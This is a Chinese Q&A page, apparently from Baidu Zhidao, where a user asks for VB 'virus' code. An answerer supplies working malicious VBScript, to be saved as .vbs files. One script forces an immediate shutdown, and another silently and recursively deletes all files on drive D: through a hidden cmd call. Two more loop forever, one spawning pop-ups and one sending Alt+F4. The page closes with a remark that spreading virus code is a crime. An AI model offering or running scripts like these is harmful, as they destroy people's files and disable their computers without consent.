找个VB病毒代码

来源：百度知道 编辑：UC知道 时间：2024/05/24 18:24:13
我上次看了个病毒代码 打开后有提示 一分钟 之后说系统瘫痪 要终止还是重试 之后就全机瘫痪了 开机 开不起来 后来格盘了 那个代码也就被删了 知道 的说下 谢谢了高分

给你几个恶意点的，哈哈

msgbox "你要点100下确定",vbokcancel,"hkmfk"
for i=1 to 100
msgbox "加油!!!"&"还有"&(100-i)&"下",4096,"zhb0813"
next

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

2.删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop

4.不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

最后保存为vbs格式就行了，我还有一个更恶劣的呢，就不发给你了

散布病毒代码是犯罪行为，谁敢给啊